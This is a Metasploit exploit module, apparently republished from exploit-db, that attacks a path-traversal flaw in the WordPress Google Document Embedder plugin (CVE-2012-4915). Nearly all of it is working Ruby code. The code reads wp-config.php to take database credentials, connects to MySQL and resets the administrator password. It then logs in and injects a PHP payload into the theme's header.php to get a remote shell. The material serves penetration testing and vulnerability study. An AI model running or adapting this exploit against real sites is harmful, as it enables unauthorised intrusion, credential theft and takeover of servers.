WordPress Plugin Google Document Embedder – Arbitrary File Disclosure (Metasploit)

  • 作者: Metasploit
    日期: 2013-01-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/23970/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    # http://metasploit.com/
    ##
    
    require 'msf/core'
    require 'rbmysql'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = NormalRanking
    
    	include Msf::Exploit::Remote::HttpClient
    	include Msf::Auxiliary::Report
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'WordPress Plugin Google Document Embedder Arbitrary File Disclosure',
    			'Description'=> %q{
    					This module exploits an arbitrary file disclosure flaw in the WordPress
    				blogging software plugin known as Google Document Embedder. The vulnerability allows for
    				database credential disclosure via the /libs/pdf.php script. The Google Document Embedder
    				plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL
    				server is exposed on a accessible IP and WordPress has filesystem write access.
    
    				Please note: The admin password may get changed if the exploit does not run to the end.
    			},
    			'Author' =>
    				[
    					'Charlie Eriksen',
    				],
    			'License'=> MSF_LICENSE,
    			'References' =>
    				[
    					['CVE', '2012-4915'],
    					['OSVDB', '88891'],
    					['URL', 'http://secunia.com/advisories/50832'],
    				],
    			'Privileged' => false,
    			'Payload'=>
    				{
    					'DisableNops' => true,
    					'Compat'=>
    						{
    							'ConnectionType' => 'find',
    						},
    				},
    			'Platform' => 'php',
    			'Arch' => ARCH_PHP,
    			'Targets'=> [[ 'Automatic', { }]],
    			'DisclosureDate' => 'Jan 03 2013',
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),
    				OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']),
    				OptString.new('ADMINPATH', [true, 'The relative path to the admin folder', 'wp-admin/']),
    				OptString.new('THEMESPATH', [true, 'The relative path to the admin folder', 'wp-content/themes/'])
    			], self.class)
    	end
    
    	def check
    		uri = target_uri.path
    		uri << '/' if uri[-1,1] != '/'
    		plugins_uri = String.new(uri)
    		plugins_uri << datastore['PLUGINSPATH']
    		plugins_uri << '/' if plugins_uri[-1,1] != '/'
    
    		res = send_request_cgi({
    			'method' => 'GET',
    			'uri'=> "#{plugins_uri}google-document-embedder/libs/pdf.php",
    		})
    
    		if res and res.code == 200
    			return Exploit::CheckCode::Detected
    		else
    			return Exploit::CheckCode::Safe
    		end
    	end
    
    	def exploit
    		uri = target_uri.path
    		uri << '/' if uri[-1,1] != '/'
    		plugins_uri = String.new(uri)
    		plugins_uri << datastore['PLUGINSPATH']
    		plugins_uri << '/' if plugins_uri[-1,1] != '/'
    		admin_uri = String.new(uri)
    		admin_uri << datastore['ADMINPATH']
    		admin_uri << '/' if plugins_uri[-1,1] != '/'
    		themes_uri = String.new(uri)
    		themes_uri << datastore['THEMESPATH']
    		themes_uri << '/' if plugins_uri[-1,1] != '/'
    
    		print_status('Fetching wp-config.php')
    		res = send_request_cgi({
    			'method' => 'GET',
    			'uri'=> "#{plugins_uri}google-document-embedder/libs/pdf.php",
    			'vars_get' =>
    				{
    					'fn' => "#{rand_text_alphanumeric(4)}.pdf",
    					'file' => "#{'../' * plugins_uri.count('/')}wp-config.php",
    				}
    		})
    
    		if res and res.body =~ /allow_url_fopen/
    			fail_with(Exploit::Failure::NotVulnerable, 'allow_url_fopen and curl are both disabled')
    		elsif res.code != 200
    			fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
    		end
    
    		config = parse_wp_config(res.body)
    		if not ['DB_HOST', 'DB_PORT', 'DB_USER', 'DB_PASSWORD', 'DB_NAME'].all? { |parameter| config.has_key?(parameter) }
    			fail_with(Exploit::Failure::UnexpectedReply, "The config file did not parse properly")
    		end
    		begin
    			@mysql_handle = ::RbMysql.connect({
    				:host => config['DB_HOST'],
    				:port => config['DB_PORT'],
    				:read_timeout => 300,
    				:write_timeout=> 300,
    				:socket => nil,
    				:user => config['DB_USER'],
    				:password => config['DB_PASSWORD'],
    				:db => config['DB_NAME']
    			})
    		rescue Errno::ECONNREFUSED,
    			RbMysql::ClientError,
    			Errno::ETIMEDOUT,
    			RbMysql::AccessDeniedError,
    			RbMysql::HostNotPrivileged
    			fail_with(Exploit::Failure::NotVulnerable, 'Unable to connect to the MySQL server')
    		end
    		res = @mysql_handle.query("SELECT user_login, user_pass FROM #{config['DB_PREFIX']}users U
    									INNER JOIN #{config['DB_PREFIX']}usermeta M ON M.user_id = U.ID AND M.meta_key = 'wp_user_level' AND meta_value = '10' LIMIT 1")
    
    		if res.nil? or res.size <= 0
    			fail_with(Exploit::Failure::UnexpectedReply, 'No admin was account found')
    		end
    
    		user = res.first
    
    		new_password = rand_text_alphanumeric(8)
    		@mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{::Rex::Text.md5(new_password)}' WHERE user_login = '#{user[0]}'")
    		print_warning("Admin password changed to: #{new_password}")
    
    		admin_cookie = get_wp_cookie(uri, user[0], new_password)
    
    		theme, nonce, old_content = get_wp_theme(admin_uri, admin_cookie)
    
    		print_warning("Editing theme #{theme}")
    		set_wp_theme(admin_uri, admin_cookie, nonce, theme, payload.encoded)
    
    		print_status("Calling backdoor")
    		res = send_request_cgi({
    			'method' => 'GET',
    			'uri'=> "#{themes_uri}#{theme}/header.php",
    		})
    
    		if res and res.code != 200
    			fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
    		end
    
    		set_wp_theme(admin_uri, admin_cookie, nonce, theme, old_content)
    
    		@mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{user[1]}' WHERE user_login = '#{user[0]}'")
    
    		print_status("Shell should have been acquired. Disabled backdoor")
    	end
    
    	def parse_wp_config(body)
    		p = store_loot('wordpress.config', 'text/plain', rhost, body, "#{rhost}_wp-config.php")
    		print_status("wp-config.php saved in: #{p}")
    		print_status("Parsing config file")
    		values = {}
    
    		body.each_line do |line|
    			if line =~ /define/
    				key_pair = line.scan(/('|")([^'"]*)('|")/)
    				if key_pair.length == 2
    					values[key_pair[0][1]] = key_pair[1][1]
    				end
    			elsif line =~ /table_prefix/
    				table_prefix = line.scan(/('|")([^'"]*)('|")/)
    				values['DB_PREFIX'] = table_prefix[0][1]
    			end
    		end
    		#Extract the port from DB_HOST and normalize DB_HOST
    		values['DB_PORT'] = values['DB_HOST'].include?(':') ? values['DB_HOST'].split(':')[1] : 3306
    
    		if values['DB_HOST'] =~ /(localhost|127.0.0.1)/
    			print_status("DB_HOST config value was a loopback address. Trying to resolve to a proper IP")
    			values['DB_HOST'] = ::Rex::Socket.getaddress(datastore['RHOST'])
    		end
    
    		return values
    	end
    
    	def get_wp_cookie(uri, username, password)
    		res = send_request_cgi({
    			'method' => 'POST',
    			'uri'=> "#{uri}wp-login.php",
    			'cookie' => 'wordpress_test_cookie=WP+Cookie+check',
    			'vars_post'=>
    				{
    					'log'=> username,
    					'pwd'=> password,
    					'wp-submit'=> 'Log+In',
    					'testcookie' => '1',
    				},
    		})
    
    		if res and res.code == 200
    			fail_with(Exploit::Failure::UnexpectedReply, 'Admin login failed')
    		elsif res and res.code != 302
    			fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
    		end
    
    		admin_cookie = ''
    		(res.headers['Set-Cookie'] || '').split(',').each do |cookie|
    			admin_cookie << cookie.split(';')[0]
    			admin_cookie << ';'
    		end
    
    		if admin_cookie.empty?
    			fail_with(Exploit::Failure::UnexpectedReply, 'The resulting cookie was empty')
    		end
    
    		return admin_cookie
    	end
    
    	def get_wp_theme(admin_uri, admin_cookie)
    		res = send_request_cgi({
    			'method' => 'POST',
    			'uri'=> "#{admin_uri}theme-editor.php?file=header.php",
    			'cookie' => admin_cookie,
    		})
    
    		if res and res.code != 200
    			fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
    		elsif res and res.body.scan(/<input.+?name="submit".+?class="button button-primary"/).length == 0
    			fail_with(Exploit::Failure::NotVulnerable, 'Wordpress does not have write access')
    		end
    
    		nonce = res.body.scan(/<input.+?id="_wpnonce".+?value="(.+?)"/)[0][0].to_s
    		old_content = Rex::Text.html_decode(Rex::Text.html_decode(res.body.scan(/<textarea.+?id="newcontent".+?>(.*)<\/textarea>/m)[0][0].to_s))
    		theme = res.body.scan(/<input.+?name="theme".+?value="(.+?)"/)[0][0].to_s
    
    		return [theme, nonce, old_content]
    	end
    
    	def set_wp_theme(admin_uri, admin_cookie, nonce, theme, new_content)
    		res = send_request_cgi({
    			'method'=> 'POST',
    			'uri' => "#{admin_uri}theme-editor.php?",
    			'cookie'=> admin_cookie,
    			'vars_post' =>
    				{
    					'_wpnonce' => nonce,
    					'theme'=> theme,
    					'newcontent' => new_content,
    					'action' => 'update',
    					'file' => 'header.php'
    				},
    		})
    
    		if res and res.code != 302
    			fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
    		end
    	end
    
    end